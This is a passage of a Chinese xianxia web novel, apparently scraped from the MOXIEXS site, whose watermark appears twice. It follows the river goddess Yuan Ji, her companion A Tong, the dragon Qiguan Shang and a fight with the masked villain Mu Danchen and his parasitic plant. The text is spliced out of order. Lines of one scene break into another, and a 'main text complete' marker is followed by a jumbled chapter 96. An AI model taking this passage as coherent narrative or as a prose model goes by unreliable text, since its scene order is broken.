“这不是祁琰修士的佩剑,难道他也在这?” 祁琰可是天极宫的弟子,为人虽清冷不爱搭理人,可却是个匡扶正道除恶扬善之人。 更何况,先前祁琰便和元吉在山洞之中救了他们。因此穆德忠此刻看到知节,心中的欣喜不甚言表。 话音刚落,只见两道身影落在他们面前。 “元修士,穆长老。”祁琰微微颔首算是打招呼。 落后一步松盈子听到这话,脚下一个踉跄差点摔个大马哈。他脑海中灵光一闪。“元修士、元?难道这就是传言中那人?” 他想着宗门中近日流传的小道消息,一时间倒吸一口凉气,莫不就是她? 让大师兄痴迷的那位女修! 怪不得知节一副“孔雀开屏”的模样!松盈子心中惊呼一声,深觉自己发现了什么不得了的秘密,一时间眸子极亮。 元吉点头,“好巧。”她的目光越过祁琰,落到他身后看着自己眼神锃亮的松盈子身上。“这位是?” “见过前辈,晚辈天极宗松盈子。”松盈子端端正正行了个礼后,乖巧立于祁琰身后。 元吉颔首,眸光在松盈子身上停留一瞬,语气笃定,“你们遇到寄生之物了? 祁琰将知节唤回,闻言他手中的动作一顿,表情凝重,“是。你们也遇到了?” “嗯。”元吉应了一声后,只见祁琰从储物戒中取出一个小巧的白瓷瓶来。 众人低头瞧去,隐隐可见其中有一黑色叶片状之物在里头贴着瓶身活动。 “先前在宗门内弟子身上发现,此物可操控人的行为举止、甚至神识也可被侵蚀。”祁琰缓缓道来。 元吉接过白瓷瓶,指腹碰到上头残留的余温,一丝白光不动声色伸入其中没入一片黑色叶片内。 熟悉的令人厌恶的气味顺着白光传回,元吉蹙眉,眼底闪过一丝不悦。“是同一种。” 松盈子探出头来补充,“我们顺着踪迹查到这,但是这东西太狡猾了东躲西藏,还附身在林师兄身上逃走了。” “也不知道这东西是从哪里来的,从未听闻过。”松盈子挠头。 元吉眸子微眯,若有所思。 一旁的穆德忠却忽然想到了什么,他眼神一暗悄声对元吉道:“河神大人,二房的寄生植只对穆家人有效果。这背后恐怕还有其他人掺和了进来。” “去看看就知道了。”元吉将手中的白瓷瓶还给祁琰。 话音刚落,元吉同祁琰齐齐扭头望向左侧身后的一丛灌木之中。 有东西在监视他们。 元吉指尖一勾,火种以迅雷不及掩耳之势冲向灌木丛。 “噌”的一声,不到一息之间,松盈子与穆德忠还没反应过来那丛灌木便化成了灰烬。 祁琰赶过去看了眼灰烬后摇头,那东西跑得很快,已经趁机逃走了。“追。” 话音刚落,他和元吉的身形便消失在了原地,留下茫然的松盈子和穆德忠大眼瞪小眼。 等等师兄,你把我给忘了! 松盈子环顾四周,颇为尴尬地挠了挠头,“哈哈,元前辈烧的真干净啊……” “那个,穆前辈,你看到我师兄他们往哪个方向走了吗?我……” 他将后半句话给咽了回去,实在没好意思说自己光顾着看那堆灰烬,自己没反应过来两人就不见了。 穆德忠沉默:…… 巧了,他也是啊。 “所以,穆德忠是想认我做父亲?” “没错,就是这样。”阿统肯定点头。 等等好像不太对。 “元吉你是女娃,不能称父亲。” “不是!他没想认你做父亲!” 阿统慌得死机一瞬,一定是我系统紊乱了所以才会出现乱七八糟的画面。 这种让人跪下来喊父亲的恶霸行为,怎么会出现在它的乖乖宿主身上! 阿统抱着自己的小脑袋,一时间有些崩溃。 而元吉心安理得地松了一口气,不是就好。任谁多了个比自己大上不知道十几轮的孩子,谁都会无法接受的。 她将储物镯中的那枚魂珠取出,淡红色的魂珠被吞噬了许多的力量,只剩下一丝以勉强维持住岳天川的神识。 “给。”元吉陡然醒来,她诧异地看着自己凝为实质重新获得所有力量的手,心中猛地一怔。 “阿统!” 她环顾四周,却再也找不到那只蓝色的小章鱼。 “元吉,不用找了。” 一道空灵的声音自上方传来,带着些熟悉的语调。 是阿统! 可是,这是怎么回事? “元吉,其实我并不是什么河神培养系统。” “我只是天道的一缕残念。” “我的出现,是天道对龙族的不舍,它将我分出,让我引导你成为‘神’,去正确使用自己的力量。” “为什么?”元吉虚虚地握住手,心中空荡荡的。“天道不是散了。” 那声音落在元吉耳畔,“元吉你忘啦,你以身祭天,修补了天道。” “元吉。”一旁的亓官上突然揉了揉鼻尖,有些不自在地拉着元吉,转移他的注意力,“我们出去吧,他们都在外面等我们。” 元吉:? 她狐疑地看着亓官上,心中隐隐有个声音告诉她,阿上不对劲。 “噫,这会倒害怕了?”那道声音带着些打趣,“元吉,你不是获得了最后的一份记忆,你看看就知道为什么了。” 话音落下,亓官上暗暗瞪了眼天空,再低头地瞬间,他耷下眉,整个人变得可怜兮兮起来。 “元吉……我们不看好不好。” 元吉硬下心,咬紧后牙。 记忆中,自她祭天后,天下了场雨,缓解了世间的干旱。 春雨落下,万物复苏。 除了阵法之外的亓官上。 他跌到在地,整个人被泥泞污染地看不出本分干净模样,可他却浑然不知,整个人呆呆地将阵法中的土一捧一捧揽入怀中,好像这样,他所爱之人便能重新回到他的怀抱。 可一切都是徒劳。 雨水冲刷,再怎么用力,那些土终究顺着雨水没入大地,不曾在他的怀中多停留半分。 他就这样呆呆地躺在阵法之中,祈求阵法再次开启将他带走。 一天、两天、一个月、一年…… 元吉将魂珠丢到穆德忠的掌心,不动声色地离他远了一步。 阵法再未亮起。 亓官上入了魔。 魔气侵染了他的心,寻找元吉成了他的道。 他浑浑噩噩游走在世间,寻找那一缕属于元吉的灵气,可一切都是徒劳。 亓官上他疯了。 他怨恨抢走元吉生命的一切,他开始肆意屠杀。 天地间最后一条龙,实力强悍无人能敌,一时间,哀鸿遍野。 天道出现了。 它同亓官上做了个交易。 亓官上将他的力量归还天地,天道让元吉的魂魄重新转世投胎。 亓官上毫不犹豫地拔剑自刎,以身祭天,换取元吉的一线生机。 龙族向来是被天道偏爱的一族。即便是亓官上做出此等事,天道还是不忍心。 它叹息一声,将亓官上的部分记忆还给他。随着一次次他的重生,他的记忆也会逐渐恢复。 而它将自己的一缕残念幻化成“系统”,投入元吉的脑中。 当亓官上和元吉能为了世间万灵无怨无悔地献出一切,天道也会垂怜它所偏爱的一族留下一丝生机。 至此,元吉和亓官上都寻到了自己的道。 元吉成了名副其实的河神。 而亓官上,能永远守护着元吉,这便是他的道。 元吉对上亓官上有些心虚的目光,她叹了口气。 亓官上正心中忐忑,却觉脖颈间一道力拉着他往下。 旋即,柔软的吻落在他的唇上。 嘴角的笑意止不住的涌出,亓官上的心落下了。 他紧紧环抱住怀中的身躯,加深了那个迟到了万年的吻。 至此,谁都无法将他们分开。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【正文完】 第 96 章 第九十六章 冷冽的剑光贴面划过,裹着浓郁的寒气,在元吉额间留下一道口子,殷红的血缓缓渗出。 “呀,河神大人反应还真是快呢!”轻佻的笑声从黑暗中传来,穆丹臣指尖点了点面上的面具,“怪不得我那不成器的堂哥能活到现在。” 穆丹臣从牙缝间挤出这句话,往日穆朝的一举一动像是横亘在他心头的一根鱼刺,光是提到便让他恨得咬牙切齿。 火光摇曳中,元吉静静立在那,眉目清冷不见一丝慌张。她缓缓抬起手,莹润的指尖拭去额间的血珠,一丝熟悉的气息传来。 元吉勾起嘴角,轻笑一声,“原来如此。” 穆丹臣自然也是瞧见了那滴血珠,心中的那点不快消散了不少。他耸了耸肩,摊手,“不过,他的好日子也快到头了。” “毕竟您这位河神大人会永远留在这。您也不用担心,我很快就会把他送来陪您,不会让您寂寞的。” 穆丹臣想到穆朝那张脸上布满伤感的情绪,心中的那口气顿时就畅快了不少。 这么多年,看着那个废物众星捧月的日子,他受够了! 现在该轮到他把那个废物踩在脚下了! 收回思绪,穆丹臣脸上的笑意更甚了。他紧紧盯着元吉,心中的自负快速膨胀。 怨气、嫉妒,化成一声声沙哑的催促。 杀了她! “啊啊啊。”无度失声乱叫起来了紧紧抱着心口的石头不肯撒手,心中却万分悲怆。 完了,她们这是要把自己带到一个陌生的地方杀人灭口。 可叹他这命不好,没保护好大人的东西便罢了,如今连托付大人遗物之人都找不到。 顿时,无度留下悔恨的泪水。 一息之间,饮血宝璃,不,没了那块绯色石头和无度镇压的饮血宝璃不过是空有名头的小型阵法,里头困着的数以万计的怨灵不消片刻便能倾巢而出。 “元吉,那些怨灵跑出去了怎么办啊。”阿统心有余悸地趴在元吉肩头,悻悻回头,“不会伤害到外面的那些人吧。” “这可不行,我察觉到好多村民都自发到河神庙外了,这怨灵跑出去不得乱了天,元吉你说句话呀。” 阿统絮絮叨叨许久,大有一副天要塌了的崩溃与悲愤。 元吉狐疑地觑了它一眼,心中暗想阿统怎么一会机灵一会呆。 “不是还有小雷。”有它在,还怕什么? 阿统被她一问倒愣住了,“小雷?对哦!我怎么把它给忘记了!” “哈哈哈哈,元吉你想的可真周到!”阿统笑了声,“雷蛇诞生于雷劫中,可不就是天克怨灵。那些怨灵一跑出去,不得被满天的雷蛇吓呆了。” 一想到那画面,阿统便控制不住地扬起嘴角。 快杀了她! 杀了她,就没有人能坏自己的好事了。 眼前的一切快速旋转,穆丹臣的眼睛逐渐被黑色所吞噬,脸上的表情变得癫狂起来。 “元吉,小心些。”阿统神情紧张地盯着他,心下不安。“这个人很怪,他的实力在快速攀升!” 元吉眼神一凛,视线落在穆丹臣的腕间。 定眼瞧去,一株黑色的植株迅速长大,不过几息时间便比元吉还要高些。 随着叶片的开合,腐臭的气息弥漫开来。 她定定瞧着那黑色的叶片,莫名觉得同自己河神庙的围墙十分相似。 一时间,元吉脸上的神情有些复杂。 “阿统,下次提醒我,莫要让围墙追着人啃了。” 正一脸紧张的阿统茫然了一瞬,“啊?为什么?” “……”元吉抿了抿嘴角,有些嫌弃,“太臭了。” 谁能想到,一株植物也会有口臭呢。 阿统:……? 浑然不知面前两人都在思考“植物是否需要清洁”这个问题的穆丹臣只当元吉是被震撼住了。 什么狗屁河神,不过如此。穆朝那个废物竟然把希望寄托在这人身上。 他心下鄙夷,却十分暗爽。往后一躺,整个人惬意地靠在宽大的叶片之中,“本来呢,我是可以给河神您一个痛快的。只可惜,您和穆朝走得太近了些…” 穆丹臣眯了眯眼,一脸为难可惜,“所以要怪就怪穆朝吧,哈哈哈哈……” 肆意地笑声在耳畔回荡,元吉眉头一蹙,她长睫一颤,掩去底下的厌烦。 “好吵。” “欻!” 手中的火种以迅雷不及掩耳之势朝穆丹臣飞去,炙热的温度像是要将空气都灼烧得沸腾起来。 穆丹臣呼吸兀得一滞,下意识地往后一躲,随即又想到了什么,倏地放松了下来。 在他面前,宽大的叶片将火种紧紧包裹住。 滋滋啦啦的炙烤声也没让其松开,不一会,袅袅白烟升起,穆丹臣提着的心瞬间放了回去。 他摸了摸脸上的面具,重新表现出把握十足的模样。 “嗨呀,忘记告诉河神您了,方才那黑油便是我这伴生植幻化而成,还得谢谢您和您的同伴,帮它成长了不少。” “这个小火苗,便一起笑纳了。” 穆丹臣缓缓做起身,“现在,没有灵力,又没了火种的你,该怎么办呢?” 穆丹臣早就从岳天川那探得了元吉的消息,此时的他有恃无恐。 穆丹臣眼神陡然狠厉起来,即便是元吉又拿出什么厉害的玩意,他也可以一同给他吞噬掉,他要让所有人看着自己是如何轻而易举杀了这人。 他要向所有人证明,穆朝就是个废物,谁都无法拉他出泥潭。 “去。” 挥手而下,身后无数黑色的叶片朝元吉刺去。 四面八方,元吉退无可退。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&